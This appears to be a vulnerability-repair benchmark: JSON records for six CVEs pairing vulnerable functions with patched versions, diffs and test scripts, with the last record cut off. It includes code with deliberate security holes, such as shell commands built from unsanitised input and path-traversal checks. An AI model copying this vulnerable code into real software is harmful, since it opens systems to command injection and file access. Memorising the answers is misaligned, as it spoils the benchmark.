{"cve_id": "CVE-2023-28443", "cve_description": "Directus is a real-time API and App dashboard for managing SQL database content. Prior to version 9.23.3, the `directus_refresh_token` is not redacted properly from the log outputs and can be used to impersonate users without their permission. This issue is patched in version 9.23.3.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/directus/directus", "patch_url": ["https://github.com/directus/directus/commit/349536303983ccba68ecb3e4fb35315424011afc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_164_1", "commit": "59f965c", "file_path": "api/src/logger.ts", "start_line": 82, "end_line": 92, "snippet": "export const expressLogger = pinoHTTP({\n\tlogger: pino(merge(httpLoggerOptions, loggerEnvConfig)),\n\t...httpLoggerEnvConfig,\n\tserializers: {\n\t\treq(request: Request) {\n\t\t\tconst output = stdSerializers.req(request);\n\t\t\toutput.url = redactQuery(output.url);\n\t\t\treturn output;\n\t\t},\n\t},\n}) as RequestHandler;"}], "fix_func": [{"id": "fix_js_164_1", "commit": "3495363", "file_path": "api/src/logger.ts", "start_line": 83, "end_line": 108, "snippet": "export const expressLogger = pinoHTTP({\n\tlogger: pino(merge(httpLoggerOptions, loggerEnvConfig)),\n\t...httpLoggerEnvConfig,\n\tserializers: {\n\t\treq(request: Request) {\n\t\t\tconst output = stdSerializers.req(request);\n\t\t\toutput.url = redactQuery(output.url);\n\t\t\tif (output.headers?.cookie) {\n\t\t\t\toutput.headers.cookie = redactHeaderCookie(output.headers.cookie, [\n\t\t\t\t\t'access_token',\n\t\t\t\t\t`${env.REFRESH_TOKEN_COOKIE_NAME}`,\n\t\t\t\t]);\n\t\t\t}\n\t\t\treturn output;\n\t\t},\n\t\tres(response: SerializedResponse) {\n\t\t\tif (response.headers?.['set-cookie']) {\n\t\t\t\tresponse.headers['set-cookie'] = redactHeaderCookie(response.headers['set-cookie'], [\n\t\t\t\t\t'access_token',\n\t\t\t\t\t`${env.REFRESH_TOKEN_COOKIE_NAME}`,\n\t\t\t\t]);\n\t\t\t}\n\t\t\treturn response;\n\t\t},\n\t},\n}) as RequestHandler;"}, {"id": "fix_js_164_2", "commit": "3495363", "file_path": "api/src/utils/redact-header-cookies.ts", "start_line": 1, "end_line": 7, "snippet": "export function redactHeaderCookie(cookieHeader: string, cookieNames: string[]) {\n\tfor (const cookieName of cookieNames) {\n\t\tconst re = new RegExp(`(${cookieName}=)([^;]+)`);\n\t\tcookieHeader = cookieHeader.replace(re, `$1--redacted--`);\n\t}\n\treturn cookieHeader;\n}"}], "vul_patch": "--- a/api/src/logger.ts\n+++ b/api/src/logger.ts\n@@ -5,7 +5,22 @@\n \t\treq(request: Request) {\n \t\t\tconst output = stdSerializers.req(request);\n \t\t\toutput.url = redactQuery(output.url);\n+\t\t\tif (output.headers?.cookie) {\n+\t\t\t\toutput.headers.cookie = redactHeaderCookie(output.headers.cookie, [\n+\t\t\t\t\t'access_token',\n+\t\t\t\t\t`${env.REFRESH_TOKEN_COOKIE_NAME}`,\n+\t\t\t\t]);\n+\t\t\t}\n \t\t\treturn output;\n+\t\t},\n+\t\tres(response: SerializedResponse) {\n+\t\t\tif (response.headers?.['set-cookie']) {\n+\t\t\t\tresponse.headers['set-cookie'] = redactHeaderCookie(response.headers['set-cookie'], [\n+\t\t\t\t\t'access_token',\n+\t\t\t\t\t`${env.REFRESH_TOKEN_COOKIE_NAME}`,\n+\t\t\t\t]);\n+\t\t\t}\n+\t\t\treturn response;\n \t\t},\n \t},\n }) as RequestHandler;\n\n--- /dev/null\n+++ b/api/src/logger.ts\n@@ -0,0 +1,7 @@\n+export function redactHeaderCookie(cookieHeader: string, cookieNames: string[]) {\n+\tfor (const cookieName of cookieNames) {\n+\t\tconst re = new RegExp(`(${cookieName}=)([^;]+)`);\n+\t\tcookieHeader = cookieHeader.replace(re, `$1--redacted--`);\n+\t}\n+\treturn cookieHeader;\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-37713", "cve_description": "The npm package \"tar\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\path`. If the drive letter does not match the extraction target, for example `D:\\extraction\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. There is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does. Users are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/isaacs/node-tar", "patch_url": ["https://github.com/isaacs/node-tar/commit/52b09e309bcae0c741a7eb79a17ef36e7828b946", "https://github.com/isaacs/node-tar/commit/82eac952f7c10765969ed464e549375854b26edc", "https://github.com/isaacs/node-tar/commit/875a37e3ec031186fc6599f6807341f56c584598"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_57_1", "commit": "bb93ba2", "file_path": "lib/strip-absolute-path.js", "start_line": 5, "end_line": 14, "snippet": "module.exports = path => {\n  let r = ''\n  while (isAbsolute(path)) {\n    // windows will think that //x/y/z has a \"root\" of //x/y/\n    const root = path.charAt(0) === '/' ? '/' : parse(path).root\n    path = path.substr(root.length)\n    r += root\n  }\n  return [r, path]\n}"}], "fix_func": [{"id": "fix_js_57_1", "commit": "52b09e3", "file_path": "lib/strip-absolute-path.js", "start_line": 10, "end_line": 24, "snippet": "module.exports = path => {\n  let r = ''\n\n  let parsed = parse(path)\n  while (isAbsolute(path) || parsed.root) {\n    // windows will think that //x/y/z has a \"root\" of //x/y/\n    // but strip the //?/C:/ off of //?/C:/path\n    const root = path.charAt(0) === '/' && path.slice(0, 4) !== '//?/' ? '/'\n      : parsed.root\n    path = path.substr(root.length)\n    r += root\n    parsed = parse(path)\n  }\n  return [r, path]\n}"}], "vul_patch": "--- a/lib/strip-absolute-path.js\n+++ b/lib/strip-absolute-path.js\n@@ -1,10 +1,15 @@\n module.exports = path => {\n   let r = ''\n-  while (isAbsolute(path)) {\n+\n+  let parsed = parse(path)\n+  while (isAbsolute(path) || parsed.root) {\n     // windows will think that //x/y/z has a \"root\" of //x/y/\n-    const root = path.charAt(0) === '/' ? '/' : parse(path).root\n+    // but strip the //?/C:/ off of //?/C:/path\n+    const root = path.charAt(0) === '/' && path.slice(0, 4) !== '//?/' ? '/'\n+      : parsed.root\n     path = path.substr(root.length)\n     r += root\n+    parsed = parse(path)\n   }\n   return [r, path]\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-37713:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test/strip-absolute-path.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-37713:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode test/strip-absolute-path.js\n"}
{"cve_id": "CVE-2024-25620", "cve_description": "Helm is a tool for managing Charts. Charts are packages of pre-configured Kubernetes resources. When either the Helm client or SDK is used to save a chart whose name within the `Chart.yaml` file includes a relative path change, the chart would be saved outside its expected directory based on the changes in the relative path. The validation and linting did not detect the path changes in the name. This issue has been resolved in Helm v3.14.1. Users unable to upgrade should check all charts used by Helm for path changes in their name as found in the `Chart.yaml` file. This includes dependencies.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/helm/helm", "patch_url": ["https://github.com/helm/helm/commit/0d0f91d1ce277b2c8766cdc4c7aa04dbafbf2503"], "programing_language": "Go", "vul_func": [{"id": "vul_go_16_2", "commit": "e81f614", "file_path": "pkg/chart/metadata.go", "start_line": 87, "end_line": 146, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\n\tmd.Name = sanitizeString(md.Name)\n\tmd.Description = sanitizeString(md.Description)\n\tmd.Home = sanitizeString(md.Home)\n\tmd.Icon = sanitizeString(md.Icon)\n\tmd.Condition = sanitizeString(md.Condition)\n\tmd.Tags = sanitizeString(md.Tags)\n\tmd.AppVersion = sanitizeString(md.AppVersion)\n\tmd.KubeVersion = sanitizeString(md.KubeVersion)\n\tfor i := range md.Sources {\n\t\tmd.Sources[i] = sanitizeString(md.Sources[i])\n\t}\n\tfor i := range md.Keywords {\n\t\tmd.Keywords[i] = sanitizeString(md.Keywords[i])\n\t}\n\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidSemver(md.Version) {\n\t\treturn ValidationErrorf(\"chart.metadata.version %q is invalid\", md.Version)\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\tfor _, m := range md.Maintainers {\n\t\tif err := m.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tdependencies := map[string]*Dependency{}\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := dependency.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tkey := dependency.Name\n\t\tif dependency.Alias != \"\" {\n\t\t\tkey = dependency.Alias\n\t\t}\n\t\tif dependencies[key] != nil {\n\t\t\treturn ValidationErrorf(\"more than one dependency with name or alias %q\", key)\n\t\t}\n\t\tdependencies[key] = dependency\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_16_1", "commit": "0d0f91d", "file_path": "pkg/chart/metadata.go", "start_line": 19, "end_line": 19, "snippet": "\t\"path/filepath\""}, {"id": "fix_go_16_2", "commit": "0d0f91d", "file_path": "pkg/chart/metadata.go", "start_line": 88, "end_line": 152, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\n\tmd.Name = sanitizeString(md.Name)\n\tmd.Description = sanitizeString(md.Description)\n\tmd.Home = sanitizeString(md.Home)\n\tmd.Icon = sanitizeString(md.Icon)\n\tmd.Condition = sanitizeString(md.Condition)\n\tmd.Tags = sanitizeString(md.Tags)\n\tmd.AppVersion = sanitizeString(md.AppVersion)\n\tmd.KubeVersion = sanitizeString(md.KubeVersion)\n\tfor i := range md.Sources {\n\t\tmd.Sources[i] = sanitizeString(md.Sources[i])\n\t}\n\tfor i := range md.Keywords {\n\t\tmd.Keywords[i] = sanitizeString(md.Keywords[i])\n\t}\n\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\n\tif md.Name != filepath.Base(md.Name) {\n\t\treturn ValidationErrorf(\"chart.metadata.name %q is invalid\", md.Name)\n\t}\n\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidSemver(md.Version) {\n\t\treturn ValidationErrorf(\"chart.metadata.version %q is invalid\", md.Version)\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\tfor _, m := range md.Maintainers {\n\t\tif err := m.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tdependencies := map[string]*Dependency{}\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := dependency.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tkey := dependency.Name\n\t\tif dependency.Alias != \"\" {\n\t\t\tkey = dependency.Alias\n\t\t}\n\t\tif dependencies[key] != nil {\n\t\t\treturn ValidationErrorf(\"more than one dependency with name or alias %q\", key)\n\t\t}\n\t\tdependencies[key] = dependency\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/chart/metadata.go\n+++ b/pkg/chart/metadata.go\n@@ -24,6 +24,11 @@\n \tif md.Name == \"\" {\n \t\treturn ValidationError(\"chart.metadata.name is required\")\n \t}\n+\n+\tif md.Name != filepath.Base(md.Name) {\n+\t\treturn ValidationErrorf(\"chart.metadata.name %q is invalid\", md.Name)\n+\t}\n+\n \tif md.Version == \"\" {\n \t\treturn ValidationError(\"chart.metadata.version is required\")\n \t}\n\n--- /dev/null\n+++ b/pkg/chart/metadata.go\n@@ -0,0 +1 @@\n+\t\"path/filepath\"\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-25620:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/helm\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test    -timeout 30s -run ^TestValidate$ helm.sh/helm/v3/pkg/chart\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-25620:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/helm\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestBuild_WithoutOptionalFields|TestSaveDir|TestKey|TestNormalizeURL|TestValidateChartVersion|TestBuild_WithCondition|TestVersionEquals|TestValidateChartName|TestSavePreservesTimestamps|TestValidateChartYamlFormat|TestChartfile|TestValidateChartSources|TestValidate_sanitize|TestGetRepoNames|TestBuild_WithRepositoryAlias|TestErrRepoNotFound_Error|TestBuild_WithSemVerRange|TestValidateChartYamlNotDirectory|TestValidate|TestSave|TestFindChartURL|TestBuild_WithTags|TestBuild_WithAlias|TestValidateChartIconURL|TestValidateChartIconPresence|TestUpdateWithNoRepo|TestUpdateBeforeBuild|TestValidateChartMaintainer|TestDownloadAll)$' helm.sh/helm/v3/pkg/chart\n"}
{"cve_id": "CVE-2024-21488", "cve_description": "Versions of the package network before 0.7.0 are vulnerable to Arbitrary Command Injection due to use of the child_process exec function without input sanitization. If (attacker-controlled) user input is given to the mac_address_for function of the package, it is possible for the attacker to execute arbitrary commands on the operating system that this package is being run on.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/tomas/network", "patch_url": ["https://github.com/tomas/network/commit/5599ed6d6ff1571a5ccadea775430c131f381de7", "https://github.com/tomas/network/commit/72c523265940fe279eb0050d441522628f8988e5", "https://github.com/tomas/network/commit/6ec8713580938ab4666df2f2d0f3399891ed2ad7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_287_1", "commit": "4a19ccd252174bc042bcb9b4ef78e6d1d321c042", "file_path": "lib/linux.js", "start_line": 17, "end_line": 48, "snippet": "exports.get_active_network_interface_name = function(cb) {\n  var cmd = \"netstat -rn | grep UG | awk '{print $NF}'\";\n  exec(cmd, function(err, stdout) {\n    if (err) return cb(err);\n\n    var raw = stdout.toString().trim().split('\\n');\n    if (raw.length === 0 || raw === [''])\n      return cb(new Error('No active network interface found.'));\n\n    cb(null, raw[0]);\n  });\n};\n\nexports.interface_type_for = function(nic_name, cb) {\n  exec('cat /proc/net/wireless | grep ' + nic_name, function(err, out) {\n    return cb(null, err ? 'Wired' : 'Wireless')\n  })\n};\n\nexports.mac_address_for = function(nic_name, cb) {\n  var cmd = 'cat /sys/class/net/' + nic_name + '/address';\n  trim_exec(cmd, cb);\n};\n\nexports.gateway_ip_for = function(nic_name, cb) {\n  trim_exec(\"ip r | grep \" + nic_name + \" | grep default | cut -d ' ' -f 3 | head -n1\", cb);\n};\n\nexports.netmask_for = function(nic_name, cb) {\n  var cmd = \"ifconfig \" + nic_name + \" 2> /dev/null | egrep 'netmask|Mask:' | awk '{print $4}' | sed 's/Mask://'\";\n  trim_exec(cmd, cb);\n};"}], "fix_func": [{"id": "fix_js_287_1", "commit": "5599ed6d6ff1571a5ccadea775430c131f381de7", "file_path": "lib/linux.js", "start_line": 22, "end_line": 61, "snippet": "exports.get_active_network_interface_name = function(cb) {\n  var cmd = \"netstat -rn | grep UG | awk '{print $NF}'\";\n  exec(cmd, function(err, stdout, stderr) {\n    if (err) return cb(err);\n\n    if (stderr.toString().match('not found')) {\n      return cb(new Error('Command failed: ' + stderr.toString().trim()))\n    }\n\n    var raw = stdout.toString().trim().split('\\n');\n    if (raw.length === 0 || raw === [''])\n      return cb(new Error('No active network interface found.'));\n\n    cb(null, raw[0]);\n  });\n};\n\nexports.interface_type_for = function(nic_name, cb) {\n  ensure_valid_nic(nic_name);\n  exec('cat /proc/net/wireless | grep ' + nic_name, function(err, out) {\n    return cb(null, err ? 'Wired' : 'Wireless')\n  })\n};\n\nexports.mac_address_for = function(nic_name, cb) {\n  ensure_valid_nic(nic_name);\n  var cmd = 'cat /sys/class/net/' + nic_name + '/address';\n  trim_exec(cmd, cb);\n};\n\nexports.gateway_ip_for = function(nic_name, cb) {\n  ensure_valid_nic(nic_name);\n  trim_exec(\"ip r | grep \" + nic_name + \" | grep default | cut -d ' ' -f 3 | head -n1\", cb);\n};\n\nexports.netmask_for = function(nic_name, cb) {\n  ensure_valid_nic(nic_name);\n  var cmd = \"ifconfig \" + nic_name + \" 2> /dev/null | egrep 'netmask|Mask:' | awk '{print $4}' | sed 's/Mask://'\";\n  trim_exec(cmd, cb);\n};"}], "vul_patch": "--- a/lib/linux.js\n+++ b/lib/linux.js\n@@ -1,7 +1,11 @@\n exports.get_active_network_interface_name = function(cb) {\n   var cmd = \"netstat -rn | grep UG | awk '{print $NF}'\";\n-  exec(cmd, function(err, stdout) {\n+  exec(cmd, function(err, stdout, stderr) {\n     if (err) return cb(err);\n+\n+    if (stderr.toString().match('not found')) {\n+      return cb(new Error('Command failed: ' + stderr.toString().trim()))\n+    }\n \n     var raw = stdout.toString().trim().split('\\n');\n     if (raw.length === 0 || raw === [''])\n@@ -12,21 +16,25 @@\n };\n \n exports.interface_type_for = function(nic_name, cb) {\n+  ensure_valid_nic(nic_name);\n   exec('cat /proc/net/wireless | grep ' + nic_name, function(err, out) {\n     return cb(null, err ? 'Wired' : 'Wireless')\n   })\n };\n \n exports.mac_address_for = function(nic_name, cb) {\n+  ensure_valid_nic(nic_name);\n   var cmd = 'cat /sys/class/net/' + nic_name + '/address';\n   trim_exec(cmd, cb);\n };\n \n exports.gateway_ip_for = function(nic_name, cb) {\n+  ensure_valid_nic(nic_name);\n   trim_exec(\"ip r | grep \" + nic_name + \" | grep default | cut -d ' ' -f 3 | head -n1\", cb);\n };\n \n exports.netmask_for = function(nic_name, cb) {\n+  ensure_valid_nic(nic_name);\n   var cmd = \"ifconfig \" + nic_name + \" 2> /dev/null | egrep 'netmask|Mask:' | awk '{print $4}' | sed 's/Mask://'\";\n   trim_exec(cmd, cb);\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3732", "cve_description": "resolve-path node module before 1.4.0 suffers from a Path Traversal vulnerability due to lack of validation of paths with certain special characters, which allows a malicious user to read content of any file with known path.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pillarjs/resolve-path", "patch_url": ["https://github.com/pillarjs/resolve-path/commit/fe5b8052cafd35fcdafe9210e100e9050b37d2a0"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_145_1", "commit": "7330f71", "file_path": "index.js", "start_line": 15, "end_line": 19, "snippet": "var createError = require('http-errors')\nvar normalize = require('path').normalize\nvar pathIsAbsolute = require('path-is-absolute')\nvar resolve = require('path').resolve\nvar sep = require('path').sep"}, {"id": "vul_js_145_2", "commit": "7330f71", "file_path": "index.js", "start_line": 44, "end_line": 90, "snippet": "function resolvePath (rootPath, relativePath) {\n  var path = relativePath\n  var root = rootPath\n\n  // root is optional, similar to root.resolve\n  if (arguments.length === 1) {\n    path = rootPath\n    root = process.cwd()\n  }\n\n  if (root == null) {\n    throw new TypeError('argument rootPath is required')\n  }\n\n  if (typeof root !== 'string') {\n    throw new TypeError('argument rootPath must be a string')\n  }\n\n  if (path == null) {\n    throw new TypeError('argument relativePath is required')\n  }\n\n  if (typeof path !== 'string') {\n    throw new TypeError('argument relativePath must be a string')\n  }\n\n  // containing NULL bytes is malicious\n  if (path.indexOf('\\0') !== -1) {\n    throw createError(400, 'Malicious Path')\n  }\n\n  // path should never be absolute\n  if (pathIsAbsolute.posix(path) || pathIsAbsolute.win32(path)) {\n    throw createError(400, 'Malicious Path')\n  }\n\n  // path outside root\n  if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {\n    throw createError(403)\n  }\n\n  // resolve & normalize the root path\n  root = normalize(resolve(root) + sep)\n\n  // resolve the path\n  return resolve(root, path)\n}"}], "fix_func": [{"id": "fix_js_145_1", "commit": "fe5b805", "file_path": "index.js", "start_line": 15, "end_line": 20, "snippet": "var createError = require('http-errors')\nvar join = require('path').join\nvar normalize = require('path').normalize\nvar pathIsAbsolute = require('path-is-absolute')\nvar resolve = require('path').resolve\nvar sep = require('path').sep"}, {"id": "fix_js_145_2", "commit": "fe5b805", "file_path": "index.js", "start_line": 45, "end_line": 88, "snippet": "function resolvePath (rootPath, relativePath) {\n  var path = relativePath\n  var root = rootPath\n\n  // root is optional, similar to root.resolve\n  if (arguments.length === 1) {\n    path = rootPath\n    root = process.cwd()\n  }\n\n  if (root == null) {\n    throw new TypeError('argument rootPath is required')\n  }\n\n  if (typeof root !== 'string') {\n    throw new TypeError('argument rootPath must be a string')\n  }\n\n  if (path == null) {\n    throw new TypeError('argument relativePath is required')\n  }\n\n  if (typeof path !== 'string') {\n    throw new TypeError('argument relativePath must be a string')\n  }\n\n  // containing NULL bytes is malicious\n  if (path.indexOf('\\0') !== -1) {\n    throw createError(400, 'Malicious Path')\n  }\n\n  // path should never be absolute\n  if (pathIsAbsolute.posix(path) || pathIsAbsolute.win32(path)) {\n    throw createError(400, 'Malicious Path')\n  }\n\n  // path outside root\n  if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {\n    throw createError(403)\n  }\n\n  // join the relative path\n  return normalize(join(resolve(root), path))\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,5 @@\n var createError = require('http-errors')\n+var join = require('path').join\n var normalize = require('path').normalize\n var pathIsAbsolute = require('path-is-absolute')\n var resolve = require('path').resolve\n\n--- a/index.js\n+++ b/index.js\n@@ -39,9 +39,6 @@\n     throw createError(403)\n   }\n \n-  // resolve & normalize the root path\n-  root = normalize(resolve(root) + sep)\n-\n-  // resolve the path\n-  return resolve(root, path)\n+  // join the relative path\n+  return normalize(join(resolve(root), path))\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-4643", "cve_description": "A vulnerability was found in docconv up to 1.2.0. It has been declared as critical. This vulnerability affects the function ConvertPDFImages of the file pdf_ocr.go. The manipulation of the argument path leads to os command injection. The attack can be initiated remotely. Upgrading to version 1.2.1 is able to address this issue. The name of the patch is b19021ade3d0b71c89d35cb00eb9e589a121faa5. It is recommended to upgrade the affected component. VDB-216502 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sajari/docconv", "patch_url": ["https://github.com/sajari/docconv/commit/b19021ade3d0b71c89d35cb00eb9e589a121faa5"], "programing_language": "Go", "vul_func": [{"id": "vul_go_38_1", "commit": "44d6739", "file_path": "pdf_ocr.go", "start_line": 112, "end_line": 123, "snippet": "func PDFHasImage(path string) bool {\n\tcmd := \"pdffonts -l 5 %s | tail -n +3 | cut -d' ' -f1 | sort | uniq\"\n\tout, err := exec.Command(\"bash\", \"-c\", fmt.Sprintf(cmd, path)).Output()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\tif string(out) == \"\" {\n\t\treturn true\n\t}\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_38_1", "commit": "b19021ade3d0b71c89d35cb00eb9e589a121faa5", "file_path": "pdf_ocr.go", "start_line": 114, "end_line": 126, "snippet": "func PDFHasImage(path string) bool {\n\tcmd := \"pdffonts -l 5 %s | tail -n +3 | cut -d' ' -f1 | sort | uniq\"\n\tout, err := exec.Command(\"bash\", \"-c\", fmt.Sprintf(cmd, shellEscape(path))).CombinedOutput()\n\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\tif string(out) == \"\" {\n\t\treturn true\n\t}\n\treturn false\n}"}, {"id": "fix_go_38_2", "commit": "b19021ade3d0b71c89d35cb00eb9e589a121faa5", "file_path": "pdf_ocr.go", "start_line": 166, "end_line": 166, "snippet": "var shellEscapePattern *regexp.Regexp"}, {"id": "fix_go_38_3", "commit": "b19021ade3d0b71c89d35cb00eb9e589a121faa5", "file_path": "pdf_ocr.go", "start_line": 168, "end_line": 170, "snippet": "func init() {\n\tshellEscapePattern = regexp.MustCompile(`[^\\w@%+=:,./-]`)\n}"}, {"id": "fix_go_38_4", "commit": "b19021ade3d0b71c89d35cb00eb9e589a121faa5", "file_path": "pdf_ocr.go", "start_line": 174, "end_line": 183, "snippet": "func shellEscape(s string) string {\n\tif len(s) == 0 {\n\t\treturn \"''\"\n\t}\n\tif shellEscapePattern.MatchString(s) {\n\t\treturn \"'\" + strings.Replace(s, \"'\", \"'\\\"'\\\"'\", -1) + \"'\"\n\t}\n\n\treturn s\n}"}], "vul_patch": "--- a/pdf_ocr.go\n+++ b/pdf_ocr.go\n@@ -1,6 +1,7 @@\n func PDFHasImage(path string) bool {\n \tcmd := \"pdffonts -l 5 %s | tail -n +3 | cut -d' ' -f1 | sort | uniq\"\n-\tout, err := exec.Command(\"bash\", \"-c\", fmt.Sprintf(cmd, path)).Output()\n+\tout, err := exec.Command(\"bash\", \"-c\", fmt.Sprintf(cmd, shellEscape(path))).CombinedOutput()\n+\n \tif err != nil {\n \t\tlog.Println(err)\n \t\treturn false\n\n--- /dev/null\n+++ b/pdf_ocr.go\n@@ -0,0 +1 @@\n+var shellEscapePattern *regexp.Regexp\n\n--- /dev/null\n+++ b/pdf_ocr.go\n@@ -0,0 +1,3 @@\n+func init() {\n+\tshellEscapePattern = regexp.MustCompile(`[^\\w@%+=:,./-]`)\n+}\n\n--- /dev/null\n+++ b/pdf_ocr.go\n@@ -0,0 +1,10 @@\n+func shellEscape(s string) string {\n+\tif len(s) == 0 {\n+\t\treturn \"''\"\n+\t}\n+\tif shellEscapePattern.MatchString(s) {\n+\t\treturn \"'\" + strings.Replace(s, \"'\", \"'\\\"'\\\"'\", -1) + \"'\"\n+\t}\n+\n+\treturn s\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From 